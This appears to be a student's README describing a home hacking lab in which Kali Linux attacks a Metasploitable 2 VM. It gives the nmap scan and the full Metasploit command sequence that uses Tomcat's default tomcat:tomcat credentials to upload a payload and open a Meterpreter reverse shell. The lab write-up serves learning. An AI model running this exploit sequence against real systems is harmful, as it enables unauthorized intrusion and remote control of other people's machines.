This is a personal cybersecurity home lab built on a Mac M2 using UTM. It simulates a real-world vulnerable environment for ethical hacking, network scanning, and exploitation using tools like Nmap and Metasploit.
- Host Machine: macOS (M2, 16GB RAM)
- Virtualization: UTM
- Virtual Machines:
- Kali Linux (Attacker)
- Metasploitable 2 (Target)
- Windows 11 (Optional victim/client)
- Network Mode: Bridged (All VMs share same local subnet)
- Scan a vulnerable machine (Metasploitable)
- Identify services and open ports
- Exploit using known vulnerabilities
- Gain a reverse shell using Metasploit
Command used:
nmap -A 192.168.1.15 > metasploitable-nmap.txtMetasploitable runs a vulnerable Apache Tomcat Manager on port 8180 using default credentials (tomcat:tomcat). We use Metasploit to exploit it.
Metasploit Module:
exploit/multi/http/tomcat_mgr_uploadPayload:
java/meterpreter/reverse_tcpExploit Steps:
msfconsole
use exploit/multi/http/tomcat_mgr_upload
set RHOSTS 192.168.1.15
set RPORT 8180
set HTTPUSERNAME tomcat
set HTTPPASSWORD tomcat
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.1.16 # Kali's IP
runβ Reverse shell session opened!
π₯οΈ Meterpreter Shell Info
After exploitation, I obtained a Meterpreter shell on the target system.
whoami
uname -a
id
- UTM works great for local cyber labs on macOS
- Bridged networking is essential for real communication between VMs
- Nmap is powerful for initial recon and service detection
- Metasploit automates real-world attacks with minimal configuration
- Apache Tomcatβs default credentials are a serious security flaw
This project is created for educational purposes only. All virtual machines are hosted and tested in a local isolated environment. Never attempt to scan, exploit, or attack any system without explicit permission.
Daksh Sharma
Cybersecurity Enthusiast | Ethical Hacking Learner
π Built with β€οΈ using UTM on macOS